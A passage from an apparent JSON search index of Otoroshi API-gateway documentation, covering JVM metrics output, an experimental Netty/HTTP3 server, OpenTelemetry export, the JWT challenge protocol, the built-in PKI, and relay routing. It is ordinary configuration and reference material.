gauge\njvm_memory_pools_CodeHeap__non_nmethods__usage 0.28408093398876405\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__used gauge\njvm_memory_pools_CodeHeap__non_nmethods__used 1656960.0\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__committed gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__committed 1.1862016E7\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__init gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__init 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__max gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__max 1.22912768E8\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__usage gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__usage 0.09610562183417755\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__used gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__used 1.1812608E7\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__committed gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__committed 3.735552E7\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__init gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__init 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__max gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__max 1.22912768E8\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__usage gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__usage 0.25493618368435084\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__used gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__used 3.1334912E7\n# TYPE jvm_memory_pools_Compressed_Class_Space_committed gauge\njvm_memory_pools_Compressed_Class_Space_committed 1.4942208E7\n# TYPE jvm_memory_pools_Compressed_Class_Space_init gauge\njvm_memory_pools_Compressed_Class_Space_init 0.0\n# TYPE jvm_memory_pools_Compressed_Class_Space_max gauge\njvm_memory_pools_Compressed_Class_Space_max 3.670016E8\n# TYPE jvm_memory_pools_Compressed_Class_Space_usage gauge\njvm_memory_pools_Compressed_Class_Space_usage 0.03386023385184152\n# TYPE jvm_memory_pools_Compressed_Class_Space_used gauge\njvm_memory_pools_Compressed_Class_Space_used 1.242676E7\n# TYPE jvm_memory_pools_Metaspace_committed gauge\njvm_memory_pools_Metaspace_committed 9.9794944E7\n# TYPE jvm_memory_pools_Metaspace_init gauge\njvm_memory_pools_Metaspace_init 0.0\n# TYPE jvm_memory_pools_Metaspace_max gauge\njvm_memory_pools_Metaspace_max 3.75390208E8\n# TYPE jvm_memory_pools_Metaspace_usage gauge\njvm_memory_pools_Metaspace_usage 0.25170985813247426\n# TYPE jvm_memory_pools_Metaspace_used gauge\njvm_memory_pools_Metaspace_used 9.4489416E7\n# TYPE jvm_memory_pools_PS_Eden_Space_committed gauge\njvm_memory_pools_PS_Eden_Space_committed 3.49700096E8\n# TYPE jvm_memory_pools_PS_Eden_Space_init gauge\njvm_memory_pools_PS_Eden_Space_init 4.22576128E8\n# TYPE jvm_memory_pools_PS_Eden_Space_max gauge\njvm_memory_pools_PS_Eden_Space_max 1.110966272E9\n# TYPE jvm_memory_pools_PS_Eden_Space_usage gauge\njvm_memory_pools_PS_Eden_Space_usage 0.17698545577448457\n# TYPE jvm_memory_pools_PS_Eden_Space_used gauge\njvm_memory_pools_PS_Eden_Space_used 1.96624872E8\n# TYPE jvm_memory_pools_PS_Eden_Space_used_after_gc gauge\njvm_memory_pools_PS_Eden_Space_used_after_gc 0.0\n# TYPE jvm_memory_pools_PS_Old_Gen_committed gauge\njvm_memory_pools_PS_Old_Gen_committed 1.1272192E9\n# TYPE jvm_memory_pools_PS_Old_Gen_init gauge\njvm_memory_pools_PS_Old_Gen_init 1.1272192E9\n# TYPE jvm_memory_pools_PS_Old_Gen_max gauge\njvm_memory_pools_PS_Old_Gen_max 2.253914112E9\n# TYPE jvm_memory_pools_PS_Old_Gen_usage gauge\njvm_memory_pools_PS_Old_Gen_usage 0.014950035505168354\n# TYPE jvm_memory_pools_PS_Old_Gen_used gauge\njvm_memory_pools_PS_Old_Gen_used 3.3696096E7\n# TYPE jvm_memory_pools_PS_Old_Gen_used_after_gc gauge\njvm_memory_pools_PS_Old_Gen_used_after_gc 2.3791152E7\n# TYPE jvm_memory_pools_PS_Survivor_Space_committed gauge\njvm_memory_pools_PS_Survivor_Space_committed 1048576.0\n# TYPE jvm_memory_pools_PS_Survivor_Space_init gauge\njvm_memory_pools_PS_Survivor_Space_init 7.0254592E7\n# TYPE jvm_memory_pools_PS_Survivor_Space_max gauge\njvm_memory_pools_PS_Survivor_Space_max 1048576.0\n# TYPE jvm_memory_pools_PS_Survivor_Space_usage gauge\njvm_memory_pools_PS_Survivor_Space_usage 0.59375\n# TYPE jvm_memory_pools_PS_Survivor_Space_used gauge\njvm_memory_pools_PS_Survivor_Space_used 622592.0\n# TYPE jvm_memory_pools_PS_Survivor_Space_used_after_gc gauge\njvm_memory_pools_PS_Survivor_Space_used_after_gc 622592.0\n# TYPE jvm_memory_total_committed gauge\njvm_memory_total_committed 1.644478464E9\n# TYPE jvm_memory_total_init gauge\njvm_memory_total_init 1.697972224E9\n# TYPE jvm_memory_total_max gauge\njvm_memory_total_max 3.999268864E9\n# TYPE jvm_memory_total_used gauge\njvm_memory_total_used 3.82665128E8\n# TYPE jvm_thread_blocked_count gauge\njvm_thread_blocked_count 0.0\n# TYPE jvm_thread_count gauge\njvm_thread_count 82.0\n# TYPE jvm_thread_daemon_count gauge\njvm_thread_daemon_count 11.0\n# TYPE jvm_thread_deadlock_count gauge\njvm_thread_deadlock_count 0.0\n# TYPE jvm_thread_new_count gauge\njvm_thread_new_count 0.0\n# TYPE jvm_thread_runnable_count gauge\njvm_thread_runnable_count 25.0\n# TYPE jvm_thread_terminated_count gauge\njvm_thread_terminated_count 0.0\n# TYPE jvm_thread_timed_waiting_count gauge\njvm_thread_timed_waiting_count 10.0\n# TYPE jvm_thread_waiting_count gauge\njvm_thread_waiting_count 47.0\n```" + }, + { + "name": "netty-server.md", + "id": "/topics/netty-server.md", + "url": "/topics/netty-server.html", + "title": "Alternative HTTP server", + "content": "# Alternative HTTP server\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nwith the change of licence in Akka, we are experimenting around using Netty as http server for otoroshi (and getting rid of akka http)\n\nin `v1.5.14` we are introducing a new alternative http server base on [`reactor-netty`](https://projectreactor.io/docs/netty/release/reference/index.html). It also include a preview of an HTTP3 server using [netty-incubator-codec-quic](https://github.com/netty/netty-incubator-codec-quic) and [netty-incubator-codec-http3](https://github.com/netty/netty-incubator-codec-http3)\n\n## The specs\n\nthis new server can start during otoroshi boot sequence and accept HTTP/1.1 (with and without TLS), H2C and H2 (with and without TLS) connections and supporting both standard HTTP calls and websockets calls.\n\n## Enable the server\n\nto enable the server, just turn on the following flag\n\n```conf\notoroshi.next.experimental.netty-server.enabled = true\n```\n\nnow you should see something like the following in the logs\n\n```log\n...\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - Starting the experimental Netty Server !!!\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/1.1, HTTP/2)\nroot [info] otoroshi-experimental-netty-server - http://0.0.0.0:10049 (HTTP/1.1, HTTP/2 H2C)\nroot [info] otoroshi-experimental-netty-server -\n...\n```\n\n## Server options\n\nyou can also setup the host and ports of the server using\n\n```conf\notoroshi.next.experimental.netty-server.host = \"0.0.0.0\"\notoroshi.next.experimental.netty-server.http-port = 10049\notoroshi.next.experimental.netty-server.https-port = 10048\n```\n\nyou can also enable access logs using\n\n```conf\notoroshi.next.experimental.netty-server.accesslog = true\n```\n\nand enable wiretaping using \n\n```conf\notoroshi.next.experimental.netty-server.wiretap = true\n```\n\nyou can also custom number of worker thread using\n\n```conf\notoroshi.next.experimental.netty-server.thread = 0 # system automatically assign the right number of threads\n```\n\n## HTTP2\n\nyou can enable or disable HTTP2 with\n\n```conf\notoroshi.next.experimental.netty-server.http2.enabled = true\notoroshi.next.experimental.netty-server.http2.h2c = true\n```\n\n## HTTP3\n\nyou can enable or disable HTTP3 (preview ;) ) with\n\n```conf\notoroshi.next.experimental.netty-server.http3.enabled = true\notoroshi.next.experimental.netty-server.http3.port = 10048 # yep can the the same as https because its on the UDP stack\n```\n\nthe result will be something like\n\n\n```log\n...\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - Starting the experimental Netty Server !!!\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/3)\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/1.1, HTTP/2)\nroot [info] otoroshi-experimental-netty-server - http://0.0.0.0:10049 (HTTP/1.1, HTTP/2 H2C)\nroot [info] otoroshi-experimental-netty-server -\n...\n```\n\n## Native transport\n\nIt is possible to enable native transport for the server\n\n```conf\notoroshi.next.experimental.netty-server.native.enabled = true\notoroshi.next.experimental.netty-server.native.driver = \"Auto\"\n```\n\npossible values for `otoroshi.next.experimental.netty-server.native.driver` are \n\n- `Auto`: the server try to find the best native option available\n- `Epoll`: the server uses Epoll native transport for Linux environments\n- `KQueue`: the server uses KQueue native transport for MacOS environments\n- `IOUring`: the server uses IOUring native transport for Linux environments that supports it (experimental, using [netty-incubator-transport-io_uring](https://github.com/netty/netty-incubator-transport-io_uring))\n\nthe result will be something like when starting on a Mac\n\n```log\n...\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - Starting the experimental Netty Server !!!\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - using KQueue native transport\nroot [info] otoroshi-experimental-netty-server -\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/3)\nroot [info] otoroshi-experimental-netty-server - https://0.0.0.0:10048 (HTTP/1.1, HTTP/2)\nroot [info] otoroshi-experimental-netty-server - http://0.0.0.0:10049 (HTTP/1.1, HTTP/2 H2C)\nroot [info] otoroshi-experimental-netty-server -\n...\n```\n\n## Env. variables\n\nyou can configure the server using the following env. variables\n\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_NEW_ENGINE_ONLY`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HOST`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_PORT`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTPS_PORT`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_WIRETAP`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_THREADS`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_ALLOW_DUPLICATE_CONTENT_LENGTHS`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_VALIDATE_HEADERS`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_H_2_C_MAX_CONTENT_LENGTH`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_INITIAL_BUFFER_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_MAX_HEADER_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_MAX_INITIAL_LINE_LENGTH`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_PARSER_MAX_CHUNK_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP2_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP2_H2C`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP3_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP3_PORT`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_STREAMS_BIDIRECTIONAL`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_STREAM_DATA_BIDIRECTIONAL_REMOTE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_STREAM_DATA_BIDIRECTIONAL_LOCAL`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_INITIAL_MAX_DATA`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_MAX_RECV_UDP_PAYLOAD_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_HTTP_3_MAX_SEND_UDP_PAYLOAD_SIZE`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_NATIVE_ENABLED`\n* `OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_NATIVE_DRIVER`\n\n" + }, + { + "name": "opentelemetry.md", + "id": "/topics/opentelemetry.md", + "url": "/topics/opentelemetry.html", + "title": "OpenTelemetry support", + "content": "# OpenTelemetry support\n\nOpenTelemetry is an open-source project focused on providing a set of APIs, libraries, agents, and instrumentation to \nenable observability in modern software applications. It helps developers and software teams collect, process, \nand export telemetry data, which includes metrics, traces, and logs, from their applications and infrastructure. \nThe project aims to provide a standardized approach to instrumenting applications for distributed tracing, metrics, and logging.\n\nHere's a breakdown of the key components of OpenTelemetry:\n\n- **Tracing**: Distributed tracing is a method used to monitor and understand the flow of requests across different services \nin a distributed system. OpenTelemetry allows developers to add instrumentation to their code to trace requests as they \nflow through various services, providing insights into performance bottlenecks and dependencies between components.\n- **Metrics**: Metrics are quantitative measurements that provide information about the behavior and performance of \nan application. OpenTelemetry enables developers to collect metrics from their applications, such as CPU usage, memory \nconsumption, and custom application-specific metrics, to gain visibility into the application's health and performance.\n- **Logging**: OpenTelemetry also supports capturing and exporting logs, which are textual records of events and messages \nthat occur during the execution of an application. Logs are essential for debugging and monitoring purposes, and \nOpenTelemetry allows developers to integrate logging with other telemetry data, making it easier to correlate events.\n\nOpenTelemetry is designed to be language-agnostic and vendor-agnostic, supporting multiple programming languages and \nvarious telemetry backends. This flexibility makes it easier for developers to adopt the OpenTelemetry standard \nregardless of their technology stack.\n\nThe goal of OpenTelemetry is to promote a consistent way of collecting telemetry data across different applications \nand environments, making it easier for developers to adopt observability best practices. By leveraging OpenTelemetry, \nsoftware teams can gain deeper insights into the behavior of their systems and improve performance, troubleshoot \nissues, and enhance the overall reliability of their applications.\n\nNow, OpenTelemetry is officialy supported in Otoroshi and can be used in different parts of your instance. You can use \nit to collect otoroshi server logs and otoroshi server metrics through config. file. Then you have access to 2 new data \nexporter that can export otoroshi events to OpenTelemetry log collector and send custom metrics to an OpenTelemetry metrics collector.\n\n## server logs\n\notoroshi server logs can be sent to an OpenTelemetry log collector. Everything is configured throught the config. file\nand can be overloaded through env. variables, and `-D` jvm flags.\n\nfirst you need to set the `otoroshi.open-telemetry.server-logs.enabled` flag to `true` and then configure the remote \nconnection through endpoint, timeout, gzip and grpc. You can also enabled mTLS through `client_cert` and `trusted_cert` \nthat are otoroshi certificates id references. Finally you can use `max_duration` to specify the logs push interval.\n\n```config\notoroshi {\n ...\n open-telemetry {\n server-logs {\n enabled = false\n enabled = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_ENABLED}\n gzip = false\n gzip = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_GZIP}\n grpc = false\n grpc = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_GRPC}\n endpoint = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_ENDPOINT}\n timeout = 5000\n timeout = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_TIMEOUT}\n client_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_CLIENT_CERT}\n trusted_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_TRUSTED_CERT}\n headers = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_HEADERS}\n max_duration = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_LOGS_MAX_DURATION}\n }\n ...\n }\n ...\n}\n```\n\n## server metrics\n\notoroshi server metrics can be sent to an OpenTelemetry metrics collector. Everything is configured throught the config. file\nand can be overloaded through env. variables, and `-D` jvm flags.\n\nfirst you need to set the `otoroshi.open-telemetry.server-metrics.enabled` flag to `true` and then configure the remote \nconnection through endpoint, timeout, gzip and grpc. You can also enabled mTLS through `client_cert` and `trusted_cert` \nthat are otoroshi certificates id references. Finally you can use `max_duration` to specify the metrics push interval.\n\n```config\notoroshi {\n ...\n open-telemetry {\n server-metrics {\n enabled = false\n enabled = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_ENABLED}\n gzip = false\n gzip = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_GZIP}\n grpc = false\n grpc = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_GRPC}\n endpoint = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_ENDPOINT}\n timeout = 5000\n timeout = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_TIMEOUT}\n client_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_CLIENT_CERT}\n trusted_cert = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_TRUSTED_CERT}\n headers = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_HEADERS}\n max_duration = ${?OTOROSHI_OPEN_TELEMETRY_SERVER_METRICS_MAX_DURATION}\n }\n ...\n }\n ...\n}\n```\n\n## logs data expoter\n\nA new kind of data exporter is now available to send otoroshi events serialized as text to an OpenTelemetry log collector. \nFirst create a new data exporter and select the type `otlp-logs`. Then fill the filter and projection part as needed. In\nthe exporter config. section, fill the collectors endpoint, timeout, gzip and grpc flags, enable mTLS through \n`client_cert` and `trusted_cert`. \n\n@@@ div { .centered-img }\n\n@@@\n\n## metrics data exporter\n\nA new kind of data exporter is now available to send custom metrics derived from otoroshi events to an OpenTelemetry metrics collector. \nFirst create a new data exporter and select the type `otlp-metrics`. Then fill the filter and projection part as needed. In\nthe exporter config. section, fill the collectors endpoint, timeout, gzip and grpc flags, enable mTLS through \n`client_cert` and `trusted_cert`. \n\nThen you will be able to add new metrics on this data exporter with a name, the type of metric (counter, timer, histogram), the value and the kind of event it's based on.\n\n@@@ div { .centered-img }\n\n@@@\n\n\n\n\n" + }, + { + "name": "otoroshi-protocol.md", + "id": "/topics/otoroshi-protocol.md", + "url": "/topics/otoroshi-protocol.html", + "title": "The Otoroshi communication protocol", + "content": "# The Otoroshi communication protocol\n\nThe exchange protocol secure the communication with an app. When it's enabled, Otoroshi will send for each request a value in pre-selected token header, and will check the same header in the return request. On routes, you will have to use the `Otoroshi challenge token` plugin to enable it.\n\n### V1 challenge\n\nIf you enable secure communication for a given service with `V1 - simple values exchange` activated, you will have to add a filter on the target application that will take the `Otoroshi-State` header and return it in a header named `Otoroshi-State-Resp`. \n\n@@@ div { .centered-img }\n\n@@@\n\nyou can find an example project that implements V1 challenge [here](https://github.com/MAIF/otoroshi/tree/master/demos/challenge)\n\n### V2 challenge\n\nIf you enable secure communication for a given service with `V2 - signed JWT token exhange` activated, you will have to add a filter on the target application that will take the `Otoroshi-State` header value containing a JWT token, verify it's content signature then extract a claim named `state` and return a new JWT token in a header named `Otoroshi-State-Resp` with the `state` value in a claim named `state-resp`. By default, the signature algorithm is HMAC+SHA512 but can you can choose your own. The sent and returned JWT tokens have short TTL to avoid being replayed. You must be validate the tokens TTL. The audience of the response token must be `Otoroshi` and you have to specify `iat`, `nbf` and `exp`.\n\n@@@ div { .centered-img }\n\n@@@\n\nyou can find an example project that implements V2 challenge [here](https://github.com/MAIF/otoroshi/tree/master/demos/challenge)\n\n### Info. token\n\nOtoroshi is also sending a JWT token in a header named `Otoroshi-Claim` that the target app can validate too. On routes, you will have to use the `Otoroshi info. token` plugin to enable it.\n\nThe `Otoroshi-Claim` is a JWT token containing some informations about the service that is called and the client if available. You can choose between a legacy version of the token and a new one that is more clear and structured.\n\nBy default, the otoroshi jwt token is signed with the `otoroshi.claim.sharedKey` config property (or using the `$CLAIM_SHAREDKEY` env. variable) and uses the `HMAC512` signing algorythm. But it is possible to customize how the token is signed from the service descriptor page in the `Otoroshi exchange protocol` section. \n\n@@@ div { .centered-img }\n\n@@@\n\nusing another signing algo.\n\n@@@ div { .centered-img }\n\n@@@\n\nhere you can choose the signing algorithm and the secret/keys used. You can use syntax like `${env.MY_ENV_VAR}` or `${config.my.config.path}` to provide secret/keys values. \n\nFor example, for a service named `my-service` with a signing key `secret` with `HMAC512` signing algorythm, the basic JWT token that will be sent should look like the following\n\n```\neyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWIiOiItLSIsImF1ZCI6Im15LXNlcnZpY2UiLCJpc3MiOiJPdG9yb3NoaSIsImV4cCI6MTUyMTQ0OTkwNiwiaWF0IjoxNTIxNDQ5ODc2LCJqdGkiOiI3MTAyNWNjMTktMmFjNy00Yjk3LTljYzctMWM0ODEzYmM1OTI0In0.mRcfuFVFPLUV1FWHyL6rLHIJIu0KEpBkKQCk5xh-_cBt9cb6uD6enynDU0H1X2VpW5-bFxWCy4U4V78CbAQv4g\n```\n\nif you decode it, the payload will look something like\n\n```json\n{\n \"sub\": \"apikey_client_id\",\n \"aud\": \"my-service\",\n \"iss\": \"Otoroshi\",\n \"exp\": 1521449906,\n \"iat\": 1521449876,\n \"jti\": \"71025cc19-2ac7-4b97-9cc7-1c4813bc5924\"\n}\n```\n\nIf you want to validate the `Otoroshi-Claim` on the target app side to ensure that the input requests only comes from `Otoroshi`, you will have to write an HTTP filter to do the job. For instance, if you want to write a filter to make sure that requests only comes from Otoroshi, you can write something like the following (using playframework 2.6).\n\nScala\n: @@snip [filter.scala](../snippets/filter.scala)\n\nJava\n: @@snip [filter.java](../snippets/filter.java)\n" + }, + { + "name": "pki.md", + "id": "/topics/pki.md", + "url": "/topics/pki.html", + "title": "Otoroshi's PKI", + "content": "# Otoroshi's PKI\n\nWith Otoroshi, you can add your own certificates, your own CA and even create self signed certificates or certificates from CAs. You can enable auto renewal of thoses self signed certificates or certificates generated. Certificates have to be created with the certificate chain and the private key in PEM format.\n\nAn Otoroshi instance always starts with 5 auto-generated certificates. \n\nThe highest certificate is the **Otoroshi Default Root CA Certificate**. This certificate is used by Otoroshi to sign the intermediate CA.\n\n**Otoroshi Default Intermediate CA Certificate**: first intermediate CA that must be used to issue new certificates in Otoroshi. Creating certificates directly from the CA root certificate increases the risk of root certificate compromise, and if the CA root certificate is compromised, the entire trust infrastructure built by the SSL provider will fail\n\nThis intermediate CA signed three certificates :\n\n* **Otoroshi Default Client certificate**: \n* **Otoroshi Default Jwt Signing Keypair**: default keypair (composed of a public and private key), exposed on `https://xxxxxx/.well-known/jwks.json`, that can be used to sign and verify JWT verifier\n* **Otoroshi Default Wildcard Certificate**: this certificate has `*.oto.tools` as common name. It can be very useful to the development phase\n\n## The PKI API\n\nThe Otoroshi's PKI can be managed using the admin api of otoroshi (by default admin api is exposed on https://otoroshi-api.xxxxx)\n\nLink to the complete swagger section about PKI : https://maif.github.io/otoroshi/swagger-ui/index.html#/pki\n\n* `POST` [/api/pki/certs/_letencrypt](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genLetsEncryptCert): generates a certificate using Let's Encrypt or any ACME compatible system\n* `POST` [/api/pki/certs/_p12](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.importCertFromP12): import a .p12 file as client certificates\n* `POST` [/api/pki/certs/_valid](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.certificateIsValid): check if a certificate is valid (based on its own data)\n* `POST` [/api/pki/certs/_data](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.certificateData): extract data from a certificate\n* `POST` [/api/pki/certs](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genSelfSignedCert): generates a self signed certificates\n* `POST` [/api/pki/csrs](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genCsr) : generates a CSR\n* `POST` [/api/pki/keys](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genKeyPair) : generates a keypair\n* `POST` [/api/pki/cas](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genSelfSignedCA) : generates a self signed CA\n* `POST` [/api/pki/cas/:ca/certs/_sign](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.signCert): sign a certificate based on CSR\n* `POST` [/api/pki/cas/:ca/certs](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genCert): generates a certificate\n* `POST` [/api/pki/cas/:ca/cas](https://maif.github.io/otoroshi/swagger-ui/index.html#/pki/otoroshi.controllers.adminapi.PkiController.genSubCA) : generates a sub-CA\n\n## The PKI UI\n\nAll generated certificates are listed in the `https://xxxxxx/bo/dashboard/certificates` page. All those certificates can be used to serve traffic with TLS, perform mTLS calls, sign and verify JWT tokens.\n\nThe PKI UI are composed of these following actions:\n\n* **Add item**: redirects the user on the certificate creation page. It’s useful when you already had a certificate (like a pem file) and that you want to load it in Otoroshi.\n* **Let's Encrypt certificate**: asks a certificate matching a given host to Let’s encrypt\n* **Create certificate**: issues a certificate with an existing Otoroshi certificate as CA. You can create a client certificate, a server certificate or a keypair certiciate that will be used to verify and sign JWT tokens.\n* **Import .p12 file**: loads a p12 file as certificate\n\nUnder these buttons, you have the list of current certificates, imported or generated, revoked or not. For each certificate, you will find: \n\n* a **name** \n* a **description** \n* the **subject** \n* the **type** of certificate (CA / client / keypair / certificate)\n* the **revoked reason** (empty if not) \n* the **creation date** following by its **expiration date**.\n\n## Exposed public keys\n\nThe Otoroshi certificate can be turned and used as keypair (simple action that can be executed by editing a certificate or during its creation, or using the admin api). A Otoroski keypair can be used to sign and verify JWT tokens with asymetric signature. Once a jwt token is signed with a keypair, it can be necessary to provide a way to the services to verify the tokens received by Otoroshi. This usage is cover by Otoroshi by the flag `Public key exposed`, available on each certificate.\n\nOtoroshi exposes each keypair with the flag enabled, on the following routes:\n\n* `https://xxxxxxxxx.xxxxxxx.xx/.well-known/otoroshi/security/jwks.json`\n* `https://otoroshi-api.xxxxxxx.xx/.well-known/jwks.json`\n\nOn these routes, you will find the list of public keys exposed using [the JWK standard](https://datatracker.ietf.org/doc/html/rfc7517)\n\n\n## OCSP Responder\n\nOtoroshi is able to revocate a certificate, directly from the UI, and to add a revocation status to specifiy the reason. The revocation reason can be :\n\n* `VALID`: The certificate is not revoked\n* `UNSPECIFIED`: Can be used to revoke certificates for reasons other than the specific codes.\n* `KEY_COMPROMISE`: It is known or suspected that the subject's private key or other aspects have been compromised.\n* `CA_COMPROMISE`: It is known or suspected that the subject's private key or other aspects have been compromised.\n* `AFFILIATION_CHANGED`: The subject's name or other information in the certificate has been modified but there is no cause to suspect that the private key has been compromised.\n* `SUPERSEDED`: The certificate has been superseded but there is no cause to suspect that the private key has been compromised\n* `CESSATION_OF_OPERATION`: The certificate is no longer needed for the purpose for which it was issued but there is no cause to suspect that the private key has been compromised\n* `CERTIFICATE_HOLD`: The certificate is temporarily revoked but there is no cause to suspect that the private kye has been compromised\n* `REMOVE_FROM_CRL`: The certificate has been unrevoked\n* `PRIVILEGE_WITH_DRAWN`: The certificate was revoked because a privilege contained within that certificate has been withdrawn\n* `AA_COMPROMISE`: It is known or suspected that aspects of the AA validated in the attribute certificate, have been compromised\n\nOtoroshi supports the Online Certificate Status Protocol for obtaining the revocation status of its certificates. The OCSP endpoint is also add to any generated certificate. This endpoint is available at `https://otoroshi-api.xxxxxx/.well-known/otoroshi/security/ocsp`\n\n## A.I.A : Authority Information Access\n\nOtoroshi provides a way to add the A.I.A in the certificate. This certificate extension contains :\n\n* Information about how to get the issuer of this certificate (CA issuer access method)\n* Address of the OCSP responder from where revocation of this certificate can be checked (OCSP access method)\n\n`https://xxxxxxxxxx/.well-known/otoroshi/security/certificates/:cert-id`" + }, + { + "name": "relay-routing.md", + "id": "/topics/relay-routing.md", + "url": "/topics/relay-routing.html", + "title": "Relay Routing", + "content": "# Relay Routing\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nRelay routing is the capability to forward traffic between otoroshi leader nodes based on network location of the target. Let say we have an otoroshi cluster split accross 3 network zones. Each zone has \n\n- one or more datastore instances\n- one or more otoroshi leader instances\n- one or more otoroshi worker instances\n\nthe datastores are replicated accross network zones in an active-active fashion. Each network zone also have applications, apis, etc deployed. Sometimes the same application is deployed in multiple zones, sometimes not. \n\nit can quickly become a nightmare when you want to access an application deployed in one network zone from another network zone. You'll have to publicly expose this application to be able to access it from the other zone. This pattern is fine, but sometimes it's not enough. With `relay routing`, you will be able to flag your routes as being deployed in one zone or another, and let otoroshi handle all the heavy lifting to route the 